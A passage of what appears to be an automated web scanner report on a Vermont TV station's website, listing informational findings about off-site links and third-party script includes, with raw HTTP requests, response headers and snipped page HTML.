<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<div id="contentTSR-controls">
           <img src="http://ftpcontent.worldnow.com/revenue/tsr/food/food-content_tsr_back.png" border=0 width="22" height="19" rel="b" title="back" alt="back" />
           <img src="http://ftpcontent.worldnow.com/revenue/tsr/food/food-content_tsr_pause.png" border=0 width="22" height="19" rel="ps" title="play/pause" alt="play/pause" />
           <img src="http://ftpcontent.worldnow.com/revenue/tsr/food/food-content_tsr_forward.png" border=0 width="22" height="19" rel="f" title="forward" alt="forward" />
       </div>
...[SNIP]...
</div>

<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/ellipses-function.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
<a href="/Global/category.asp?C=36210"><img src="http://images.worldnow.com/Revenue/images/36210_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=37891"><img src="http://images.worldnow.com/Revenue/images/37891_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=38921"><img src="http://images.worldnow.com/Cmedia/images/38921_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=120651"><img src="http://images.worldnow.com/Revenue/images/120651_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=120652"><img src="http://images.worldnow.com/Revenue/images/120652_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=39546"><img src="http://images.worldnow.com/Revenue/images/39546_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=23748"><img src="http://images.worldnow.com/Revenue/images/23748_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=29878"><img src="http://images.worldnow.com/Revenue/images/29878_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=58532"><img src="http://images.worldnow.com/Revenue/images/58532_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=41934"><img src="http://images.worldnow.com/Revenue/images/41934_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=73801"><img src="http://images.worldnow.com/Revenue/images/73801_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=92036"><img src="http://images.worldnow.com/Revenue/images/92036_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/category.asp?C=120657"><img src="http://images.worldnow.com/Revenue/images/120657_CS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<div id="financialcontentModule">
<script
src="http://studio-5.financialcontent.com/worldnow?Module=snapshot&OutputMode=JS"></script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.6. http://www.wcax.com/Global/link.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/link.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/link.asp?L=408799 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352293178:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS07
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 26034
Cache-Control: private, max-age=900
Date: Sat, 09 Apr 2011 12:34:01 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 26034

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>WCAX Vermo
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<noscript><iframe id="Frame1" name="Frame1" class="wnLinksContentIframe" src="http://www.vermontopia.com/event/" width="100%" height="1500" frameborder="0" marginwidth="0" marginheight="0">[Your user agent does not support frames or is currently configured to not display frames. However, you may visit <a href="http://www.vermontopia.com/event/">the related document.</a>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.7. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/story.asp?S=14408244 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352451310:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS12
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
ntCoent-Length: 35416
Cache-Control: private, max-age=290
Expires: Sat, 09 Apr 2011 12:39:12 GMT
Date: Sat, 09 Apr 2011 12:34:22 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 35416

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Police: RI
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<li class="wnAddThisTool wnAddThisTool-All"><a href="http://addthis.com/bookmark.php?v=250&amp;username=xa-4bbcc485014c0ab2" class="addthis_button_compact">Share</a>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://content.worldnow.com/global/interface/drag_drop.js?ver=201011111600"></script>
...[SNIP]...
</a><img class="wnCommentsBranding" alt="Branding" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_607x37.gif"><div id="wnCommentsAd">
...[SNIP]...
</div><script type="text/javascript" src="http://js-kit.com/comments.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.8. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/story.asp?S=503137 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352522776:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
wn: IIS08
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 49209
Cache-Control: private, max-age=282
Expires: Sat, 09 Apr 2011 12:40:23 GMT
Date: Sat, 09 Apr 2011 12:35:41 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 49209

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>You Can Qu
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<span style="white-space:nowrap;"><script src="http://ads.adbrite.com/mb/text_group.php?sid=640921&zs=3436385f3630" type="text/javascript"></script><!--
--><a target="_top" href="http://www.adbrite.com/mb/commerce/purchase_form.php?opid=640921&afsid=1"><img src="http://files.adbrite.com/mb/images/adbrite-your-ad-here-banner.gif" style="background-color:#CCCCCC;border:none;padding:0;margin:0;" alt="Your Ad Here" width="11" height="60" border="0" /></a>
...[SNIP]...
<li class="wnAddThisTool wnAddThisTool-All"><a href="http://addthis.com/bookmark.php?v=250&amp;username=xa-4bbcc485014c0ab2" class="addthis_button_compact">Share</a>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.9. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/story.asp?S=465801 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18836
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352790930:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS12
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
ntCoent-Length: 33803
Cache-Control: private, max-age=300
Expires: Sat, 09 Apr 2011 12:44:59 GMT
Date: Sat, 09 Apr 2011 12:39:59 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 33803

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Got a Stor
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
